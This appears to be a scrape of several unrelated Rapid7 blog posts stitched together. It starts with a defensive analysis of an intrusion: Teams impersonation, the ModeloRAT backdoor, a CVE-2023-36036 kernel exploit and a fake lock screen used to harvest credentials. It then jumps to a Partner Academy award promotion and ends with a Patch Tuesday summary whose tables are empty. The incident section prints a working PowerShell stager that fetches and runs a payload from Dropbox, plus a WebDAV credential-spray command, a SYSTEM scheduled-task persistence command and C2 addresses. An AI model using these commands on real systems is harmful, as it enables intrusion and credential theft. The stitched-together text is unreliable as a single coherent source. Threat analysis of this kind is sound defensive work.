Once valid credentials were obtained, the intrusion shifted from endpoint compromise to broader identity-driven risk. The attacker moved laterally to a second host, used legitimate tooling such as DumpIt to collect system memory, which was likely exfiltrated via an anonymous file-sharing service. This progression underscores a key reality for defenders: Once collaboration, identity, and endpoint controls are bypassed or weakened, attackers can rapidly convert initial access into meaningful enterprise exposure.

Rapid7’s technical analysis linked the Python malware to ModeloRAT, a framework previously documented by multiple security vendors in browser extension campaigns and associated with the KongTuke group. More broadly, this intrusion demonstrates how trusted communication channels, Living-off-the-Land techniques, and credential-focused tradecraft continue to challenge traditional security controls. The takeaways here are clear:

For CISOs: Collaboration tools are part of your attack surface. Attackers used Teams to reach users directly. Security, identity protection, endpoint visibility, and rapid detection engineering must be treated as connected parts of the same defense strategy, not separate control domains.

For defenders: Old vulnerabilities and trusted tools still work. The attack combined a patched vulnerability (CVE-2023-36036) with widely trusted tools like Python, PowerShell, and Dropbox. None of these are unusual in enterprise environments, which is precisely what allowed the attacker to blend in while moving quickly. It’s an obvious restatement, but external access should always be controlled and monitored. 

The challenge isn’t identifying one suspicious event; it’s recognizing when normal activity starts to form a pattern, and acting before that pattern turns into widespread exposure.

Rapid7 coverage

Rapid7 has coverage for this campaign across both intelligence and detection workflows. The campaign is available in Rapid7’s Intelligence Hub, providing customers with curated context, indicators, and threat actor tradecraft to support awareness, investigation, and prioritization. Relevant detections are also available in InsightIDR, helping security teams identify activity associated with this intrusion pattern across their environments.

A door that was never closed

The intrusion started with abuse of Microsoft Teams external access. This feature, enabled by default in some environments, allows users in one tenant to initiate direct chats with users in another. In our incident, the attacker used a newly created tenant UCICasociacion.onmicrosoft[.]com to impersonate “IT Support” and messaged a targeted employee.

This approach mirrors tradecraft seen in Octo Tempest-style campaigns. Octo Tempest (alias Scattered Spider, UNC3944, 0ktapus) is a financially motivated cybercriminal group active since 2022, known for aggressive social engineering tactics including helpdesk impersonation, SIM swapping, and MFA manipulation. 

Shortly after the interaction, a hidden PowerShell command executed on the victim’s machine, staging the initial payload.

Stager: Bring your own Python

Within minutes of the Teams interaction, a PowerShell stager executed on the endpoint and reached out to Dropbox to retrieve a ZIP archive (Winp.zip) into the user’s AppData directory.

The archive was immediately extracted and deleted, likely to reduce on-disk artifacts and avoid potentially raising suspicion.

The payload contained a portable WinPython environment, which the attacker used to launch the next stage:

• collector.py (reconnaissance)

• Pmanager.py (primary C2 agent, Modelo RAT)

Execution was handled via pythonw.exe, which allowed the script to run in the background without showing the terminal window.

iwr -Uri "https://www.dropbox[.]com/scl/fi/[REDACTED]/vuzggemyofftzpk6.zip?rlkey=elabnna8r5omwglaq4feay6ui&st=op5i7lea&dl=1" -OutFile "$env:appdata\Winp.zip"; 
Expand-Archive -Path "$env:appdata\Winp.zip" -DestinationPath "$env:appdata"; 
rm "$env:appdata\Winp.zip"; 
Start-Sleep -Seconds 5; 
Start-Process $env:appdata\WPy64-31401\python\pythonw.exe -ArgumentList $env:appdata\WPy64-31401\python\collector.py; 
Start-Sleep -Seconds 30; 
Start-Process $env:appdata\WPy64-31401\python\pythonw.exe -ArgumentList $env:appdata\WPy64-31401\python\Pmanager.py; 
Start-Sleep -Seconds 5

Figure 2: PowerShell stager retrieving and executing portable Python payload.

Reconnaissance: Environment discovery via native tools

The first Python module executed by the attacker was collector.py, a post-exploitation information gatherer designed to silently profile the host and save the results to %TEMP%\configA.json. Additionally, before any of the recon the collector.py computes a host fingerprint. This 8-character fingerprint is what the operator's C2 server uses to identify this victim.

The script gathered the following information:

Table 1: Host Reconnaissance and Environment Enumeration.

All of these commands were executed through hidden PowerShell sessions using the CREATE_NO_WINDOW flag, allowing the script to run in the background without spawning visible console windows.

Part of reconnaissance was also a collection of installed hotfixes and system version data. The attacker was able to assess whether the host was vulnerable to a version-specific local privilege escalation exploit later used in the intrusion.

Additionally, collector.py and all other python modules dropped by malware were obfuscated. However, it was not difficult to recover code structure close to the original. 

Stage 2: Ties to ModeloRAT

Shortly after reconnaissance is completed, the attack shifts into its second stage as with the execution of Pmanager.py.

pythonw.exe ...\python\Pmanager.py start

Figure 4: Execution of Pmanager.py initiating second-stage C2 activity.

As soon as it is started, the script creates a long-running HTTP beacon over port 80 that rotates across 5 hardcoded C2 servers: 46.225.231[.]170, 144.172.99[.]68, 64.94.85[.]158, 140.82.6[.]45, and 45.76.241[.]51.

The script can load DLLs via rundll32.exe, launch additional Python scripts, run PowerShell commands, or install .msi packages. It also handles persistence and can update or remove itself. The reconnaissance output saved in configA.json is sent back to the C2, giving the operator a full picture of the host before issuing further tasks.

This behavior closely matches the ModeloRAT framework documented by Huntress (KongTuke / CrashFix campaigns). Its communication format, persistence mechanisms, and delivery model all match what has been previously observed, with no significant deviations.

The key difference is in initial access: Where earlier campaigns relied on malicious browser extensions, this intrusion used Microsoft Teams social engineering to achieve execution.

The on-demand shells and the WebDAV 

Pmanager quickly deployed its first additional module USOShared1297.py onto the infected host. This module is a TCP reverse shell that opens 2 outbound sockets to one of 3 hardcoded C2 IPs (144.172.88[.]18, 64.190.113[.]187, 45.59.122[.]231. The port 50508 is reserved for the interactive shell that the attacker can use and port 60503 is for file transfer. The shell itself is a cmd.exe spawned using CreatePipe and CreateProcessA with the CREATE_NO_WINDOW and STARTF_USESTDHANDLES flags.

This access was then used to test credential reuse across the environment through repeated WebDAV authentication attempts against internal systems.

rundll32.exe davclnt.dll,DavSetCookie <HOST> http://<TARGET>/C%24/Windows

Figure 5: WebDAV authentication spray using davclnt.dll (DavSetCookie)

The DavSetCookie API forces Windows to initiate a WebDAV authentication attempt using the current user’s credentials. In effect, it allows the attacker to validate where those credentials are accepted without deploying additional tools. Within minutes, successful logon events started to appear across more than 100 internal systems.

The HTTP shell – internal.py

Not long after, the attacker added a second way into the system by deploying back-to-back Microsoft5237.py dropped to %TEMP% and internal.py dropped to WPy64-31401\python. Later analysis showed they were actually the same file, just renamed (both had the same SHA-256 hash: 930263c0843744e269b615fb2ec79f83d7bd8b2cbf75e31fd5ea6c1aaa4e48fd). The attacker was reusing the same backdoor under different names.

Each script launched a hidden PowerShell session. First it checked whether the system was domain-joined, and then set up a persistent remote shell.

powershell -NonInteractive -NoProfile -WindowStyle Hidden -Command "(Get-CimInstance Win32_ComputerSystem).Domain"
powershell -NoProfile -NoExit -Command -

Figure 6: The -NoExit flag keeps PowerShell running in the background, while the trailing “-” allows it to accept commands remotely.

From there, internal.py turned that session into a full HTTP-based control channel. It registered with the C2 /handshake, continuously polled for instructions via /command/<id>, executed them inside the PowerShell session, and returned output via /output/<id>. The same channel handles file upload, download, and also screenshot capture. All of this communication ran over port 80 to 87.120.186[.]229 and 149.248.78[.]202, blending in with normal web traffic.

Stage 3: Privilege escalation via CVE-2023-36036

After gaining remote access, the attacker executed ssss.dll to escalate privileges.

rundll32.exe ssss.dll startproc Mw2[REDACTED]

Figure 7: Execution of ssss.dll via rundll32.

The argument that was passed to startproc is a decryption key. The startproc function uses Mw2[REDACTED] to decrypt the payload.

The ssss.dll (SHA-256: b00c1cbcfb98d2618a5c2ccb311da94f3c57709a397be6c8de29839f4e943976) is a reflective loader. The loader is using that key to decrypt an embedded payload in memory and execute it. The decrypted payload is testdllLPE.dll (SHA-256: d84245f3a374dd5eff8ecfdfad39077d76331fde799e5306430d0fc788db7f1d), a custom privilege escalation exploit targeting CVE-2023-36036. This vulnerability is a heap-based buffer overflow in cldflt.sys, the Windows Cloud Files Mini Filter Driver.

Within seconds, the helper thread launched internal.py under a SYSTEM token, confirming that the exploit successfully modified the process privileges.

What is CVE-2023-36036?

The Cloud Files driver is what makes OneDrive's "Files On-Demand" work, allowing placeholder files to appear locally while being backed by cloud storage. Sync providers (OneDrive, Dropbox, Box) register themselves with the driver using the Cloud Files API, and the driver brokers I/O between the filesystem and the provider.

CVE-2023-36036 is a heap buffer overflow in how cldflt.sys processes messages from these providers. By sending crafted data through the driver’s communication interface, an attacker can overflow an internal buffer and corrupt adjacent memory. With controlled heap layout, this corruption becomes a kernel write primitive.

Reused technique, adapted exploit

While analyzing the CVE-2023-36036 exploit, it became clear that the threat actor did not build their methodology from scratch. STAR Labs documented a similar chain in their analysis of CVE-2021-31969 also in cldflt.sys. Their work outlined the core steps: Register a fake sync provider, shape the kernel heap, trigger the overflow, and overwrite a token.

The exploit we analyzed follows the same general playbook, but adapts it for the CVE-2023-36036 vulnerability.

The threat actor reused three core steps from the STAR Labs research to stabilize their exploit:

Sync provider registration. The exploit registers itself as "PLURIBUS" with GUID {904EE598-0511-4664-82A8-22C4A7501044}, pointing to %TEMP%\cldflt. This causes the driver to treat the directory as a valid Cloud Files root and route file operations through the vulnerable path.

WNF heap shaping. The exploit uses 4 undocumented ntdll syscalls: NtCreateWnfStateName, NtUpdateWnfStateData, NtDeleteWnfStateData, and NtQueryWnfStateData to allocate a large number of small objects in the kernel pool. This shapes memory so the overflow lands on controlled data instead of random structures. Without this step, the buffer overflow in cldflt.sys would write to unpredictable addresses and can crash the system

Data-Only Token Overwrite. Instead of using process injection or shellcode, the exploit uses its own token in kernel memory by flipping a privilege bit to gain SYSTEM access. What sets testdllLPE.dll apart is what the operator added on top of that scaffolding.

Kernel discovery method. It probes the kernel address range in 1 MB steps, measuring minute differences in memory access latency to identify ntoskrnl base. This avoids calling privileged APIs.

Decoupled execution model. Instead of elevating the thread running the exploit, this binary spawns a helper thread that continuously polls PrivilegeCheck(SeDebugPrivilege). This allows the main exploit thread to crash, hang, or retry the kernel write multiple times without losing the payload. The moment the kernel finally flips the privilege bit, the helper thread detects the change and immediately launches internal.py as SYSTEM.

Trigger path. The vulnerability is reached through the driver’s message handling path. When processing a FilterSendMessage request, cldflt.sys copies attacker-controlled data into a fixed-size buffer without proper bounds checking, overflowing into adjacent memory, specifically a function pointer.

To trigger execution, the exploit creates a placeholder file within the fake sync root and writes to it.

⠀

When the driver intercepts the write to Link.log, it invokes the corrupted function pointer. This results in a controlled kernel write, which flips the SeDebugPrivilege bit in the helper thread's token.

After the WriteFile call completes, the main exploit thread exits. The helper thread, which was polling PrivilegeCheck(SeDebugPrivilege) once per second since the exploit started, detects the change and breaks out of its loop. At this point, the privilege escalation has succeeded. The helper thread immediately launches the payload. 

⠀

Stage 4: Post-exploitation 

The newly spawned internal.py process was running under a SYSTEM token. The attacker confirmed this with whoami and immediately created a scheduled task (TempLogA) to execute internal.py daily at 13:00 with SYSTEM privileges.

schtasks /create /tn TempLogA 
  /tr "C:\Users\USER\AppData\Roaming\WPy64-31401\python\pythonw.exe internal.py" 
/sc daily /st 13:00 /ru SYSTEM /rl HIGHEST /f

Figure 10: Creation of SYSTEM-level scheduled task (TempLogA) for persistence.

With persistence in place, the attacker moved on to Active Directory enumeration.

$d = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().GetDirectoryEntry().distinguishedName
$s = New-Object DirectoryServices.DirectorySearcher([ADSI]"LDAP://$d")
$s.PageSize = 1000
$s.Filter = "(objectClass=user)"
$s.FindAll().Count

Figure 11: Powershell command returns the total number of domain user accounts.

Shortly after, the compromised account established a remote PowerShell session (WinRM) to a second host. Once connected, additional enumeration commands were executed through the remote PowerShell process (wsmprovhost.exe), extending visibility beyond the initial system.

Expanding the foothold

Within hours of privilege escalation and enumeration, 3 additional Python modules were deployed:

Microsoft5237.py: HTTP beacon to 87.120.186.229 and 149.248.78.202. Captures screenshots via PowerShell, monitors user logins/logouts, uploads files to C2.

Dell508.py: Reverse TCP tunnel to 207.246.114.50 and 149.28.96.170 on port 80, disguised as HTTP upgrade. C2 server instructs victim to connect to specific internal targets; victim relays traffic bidirectionally.

PCDr6967.py: SOCKS5 proxy to 96.9.125.29, 144.172.111.49, and 104.194.152.246 on port 50504. Routes attacker's tools (RDP, browsers, Nmap) through victim into internal network.

Stage 5: The lock screen that wasn't

Roughly two hours after privilege escalation, the attacker deployed a second DLL.

rundll32.exe com6848.dll,open e8vy[REDACTED]

Figure 12: Execution of com6848.dll via rundll32 to deploy credential harvesting payload.

The com6848.dll (SHA-256: 30e5a6c982396cdf3157195b540f75096869baa8570f66fab88c07c161be27f0, internal name apple.dll) is a 32-bit DLL with a single export open. Its .rdata section is over 5 MB and contains an encrypted payload. The decryption key was conveniently provided on the command line by the attacker.

Once decrypted, the DLL reflectively loads a second stage stage2.dll (SHA-256: f5b2dbd8ec9671c0261f093ebc5f3d35920b592458a3b800cc946265111e67d0). This DLL renders a perfect replica of the Windows 10 lock screen, using the embedded font to ensure visual accuracy even on systems where the font isn’t installed. The user sees what appears to be a normal screen lock and types their password to unlock it. The DLL captures it, and writes the result to disk as yyyy-mm-dd-Log.txt

What the credential unlocked

Wait, didn't the operator already have SYSTEM privileges? Why bother with a fake lock screen?

By this point, indeed the operator had SYSTEM-level access on the host. What they didn't have, though, was the user's domain credentials. SYSTEM can authenticate using the machine account, but it cannot authenticate as the user. It can't access user-specific resources, such as file shares requiring the user's permissions, mailboxes, web applications expecting user credentials, or RDP sessions that need to establish an interactive logon as that specific domain account.

The same evening, the attacker used harvested credentials to authenticate via RDP to another workstation in the network. DNS logs showed connections to Dropbox and some internal systems. Additionally, they also performed Kerberoasting against service accounts, requesting vulnerable Kerberos tickets in an attempt to expand access within the environment.

The following morning, the attacker returned to the second host via RDP and used Microsoft Edge to download the Comae toolkit, including DumpIt, a legitimate memory acquisition tool. Two minutes after unarchiving the Comae toolkit, the threat actor navigated within the browser to uploadnow[.]io, which offers free anonymous file upload features. During this browser session, the threat actor searched via Bing if SwissTransfer was a safe site to transfer large files, likely evaluating additional exfiltration methods. 

Shortly after, DumpIt.exe was executed on the second host. DumpIt captures physical RAM, including LSASS process memory, which can contain cleartext passwords, NTLM hashes, and Kerberos tickets. Based on timing and network activity, the memory dump was likely exfiltrated via uploadnow[.]io.

MITRE ATT&CK techniques

Indicators of compromise (IOCs)

More indicators of compromise can be found on Rapid7’s GitHub.

Key findings

• ModeloRAT pivoted from browser extensions to Teams social engineering.
• Portable Python environments bypass traditional EDR signatures.
• CVE-2023-36036 remains effective despite patch availability.
• Fake lock screens can harvest credentials even with SYSTEM access.
• WebDAV API abuse provides stealthy credential validation.

It took two days to go from "Hi, this is IT support" to domain-wide credential access using a fake lock screen, a Python based RAT, and a two-year-old kernel exploit. If you were an incident responder, none of these techniques would have been new for you, and that’s the point.

What particularly stands out is how quickly control shifted from endpoint to identity. Once valid credentials were obtained, the environment itself became the attack surface.

A new era of partner-led services

To meet the evolving needs of the cybersecurity landscape, Rapid7 Partner Academy has introduced specialized Partner Services Certifications. These role-based learning paths are designed to move beyond traditional "product training" by focusing on high-fidelity service delivery and outcome-driven results, including how to build, deliver, and scale services on Rapid7 solutions. The training and certification program was specifically recognized for its "Partner-First" design, which was built through extensive collaboration with our global partner ecosystem to ensure alignment with real-world sales and technical challenges.

Our award-winning partner services certification ecosystem focuses on three critical pillars of the Rapid7 Command Platform:

• Partner Services for InsightIDR: Equips partners with the skills and knowledge necessary to effectively guide customers through the post-sale phases of the InsightIDR solution.

• Partner Services for Exposure Command: Focuses on the transition from static vulnerability scanning to continuous attack surface validation, diving into the setup, management, and troubleshooting of Exposure Command.

• Partner Services for Vulnerability Management: Empowers partners to provide impactful services around deployment, management, and ongoing support for InsightVM that drive customer success.

All three of these Partner Services Certifications enable our partners to deliver services around Rapid7 solutions from deployment and onboarding, to management and best practices for usage, to express health checks and troubleshooting. Upon successful completion of the course theoretical exam, you are eligible to enroll in the Services Validation Component. After validating your services capabilities, you will receive the prestigious distinction of achieving the Rapid7 Partner Services Certification and Badge. This achievement helps to differentiate your services to your customers and prospects with official recognition among the most capable Rapid7 MSSPs and service delivery partners.

Real-world impact: From training to execution

The Gold Stevie Award recognizes more than just curriculum—it recognizes the impact these certifications have on the partner's ability to drive business and accelerate their profitability with Rapid7. By completing these Rapid7 Partner Academy certifications, partners gain:

• Operational excellence: Technical specialists learn to deploy and manage Rapid7 solutions with a "Gold Standard" approach, ensuring high-fidelity results for customers.

• Strategic alignment: Sales professionals are trained in the RSP (Rapid7 Sales Professional) methodology, allowing them to position Rapid7 as the preferred solution through effective discovery and objection handling.

• Program economics: Certified partners can take full advantage of the 2026 PACT updates, which offer enhanced incentives and streamlined deal motions for partner-led growth.

Collaborating for success

The Stevie Award for Achievement in Collaboration and Partnership specifically applauds how Rapid7 integrated partner feedback into the curriculum development. This wasn't just Rapid7 talking to partners; it was a co-innovation effort. By coordinating with partners and Rapid7 technical support stakeholders, we ensured that the Partner Academy content directly addresses the "last-mile" technical blockers partners face in the field.

The value and impact of Partner Academy is highlighted by the comments from the Stevie American Business Awards® judges:

"I’ve seen a lot of partner programs, and most are built for the vendor, not the partner. This one stands out...A 5X outperformance, 76% completion rate, 91% satisfaction, and an NPS of 68 all point to real value delivered, not vanity metrics. I’m especially impressed by the coordination behind it –100 contributors across 13 business units. That level of alignment is hard to achieve, and it shows strong leadership. The fact that the program was mentioned on an earnings call also signals clear strategic impact."

"Overall, this is an outstanding and result-oriented program, and it sets the bar high for the partner enablement process. Exceeding the certification target by 5X within a significantly shortened timeframe speaks volumes for the relevance and execution of the program, and the creation of role-based, technically sophisticated learning paths speaks volumes for the focus on partner enablement."

Celebrating our partners

This award is a shared victory with the thousands of partner individuals who have invested in their professional development through the Partner Academy. Whether you are a technical expert seeking to “Command the Attack Surface” or a sales professional looking to protect your margins, the Partner Academy is your gateway to success in the Rapid7 ecosystem.

Join the award-winning program and start your learning journey today!

As we continue to innovate, our goal remains the same: to provide the most transparent, consistent, and world-class enablement program in the industry. We invite all partners to officially become a Rapid7 PACT Partner to explore these award-winning certifications and start driving deeper impact for your customers today.

Windows Netlogon: critical RCE

Anyone responsible for securing a domain controller should prioritize remediation of CVE-2026-41089, which is a critical stack-based buffer overflow in Windows Netlogon with a CVSS v3 base score of 9.8. Exploitation leads to execution in the context of the Netlogon service, so that’s SYSTEM privileges on the domain controller. For most pentesters, that’s the point at which the customer report more or less writes itself. No privileges or user interaction are required, and attack complexity is low, which suggests that creation of a reliable exploit might not be especially difficult for anyone with knowledge of the specific mechanism.

Microsoft assesses exploitation as less likely, but since those exploitability assessments are provided without an accompanying explanation, it’s not clear how much reassurance defenders should take. Anyone who remembers the much-discussed CVE-2020-1472 (aka ZeroLogon) back in 2020 will note that CVE-2026-41089 offers an attacker more immediate control of a domain controller. Patches are available for all versions of Windows Server from 2012 onwards.

Windows DNS Client: critical RCE

An attacker looking for a master key for Windows assets will pay attention to CVE-2026-41096, a critical RCE in the Windows DNS client implementation. A modern computer talks to DNS the way a child in the back of a car asks “are we there yet?” The variable and complex structure of DNS responses means that DNS client implementations are also complex and thus prone to flaws. Microsoft assesses exploitation as less likely, and we can hope that modern mitigations such as heap address randomization and optional-but-recommended encrypted channel DNS will make weaponization significantly more challenging by putting barriers across specific paths to exploitation. The DNS client on Windows runs as the NetworkService role, rather than SYSTEM, but a foothold is a foothold, and skilled attackers expect to chain exploits together.

JIRA/Confluence Entra ID auth plugin: critical EoP

If you’re still self-hosting Atlassian JIRA or Confluence and relying on the Microsoft Entra ID authentication plugin, you’ll want to know about CVE-2026-41103. This critical elevation of privilege vulnerability allows an unauthorized attacker to impersonate an existing user by presenting forged credentials, thus bypassing Entra ID. Microsoft expects that exploitation is more likely. Even if you can’t always find what you want on the corporate Confluence, a motivated attacker probably will. Curiously, the patch links on the advisory lead to older versions of the plugins published in 2024.

Microsoft WARP team

Microsoft’s WARP team is credited with multiple critical vulnerabilities today, after making their first appearance in MSRC advisory acknowledgements in last month’s Patch Tuesday. We can speculate that they likely know a great deal about the current state of AI-powered vulnerability research as it applies to Microsoft products.

Microsoft lifecycle update

There are no significant Microsoft product lifecycle changes this month. Microsoft .NET 9 STS (Standard Term Support, as distinct from Long Term Support) was originally scheduled to move past the end of support in May 2026, but late last year, Microsoft granted a six-month extension, so that .NET 9 STS now reaches end of support on November 10, 2026.

Summary charts

Summary tables

Apps vulnerabilities

Azure vulnerabilities

Browser vulnerabilities

Developer Tools vulnerabilities

ESU vulnerabilities

Mariner vulnerabilities

Microsoft Dynamics vulnerabilities

Open Source Software vulnerabilities

SQL Server vulnerabilities

Windows vulnerabilities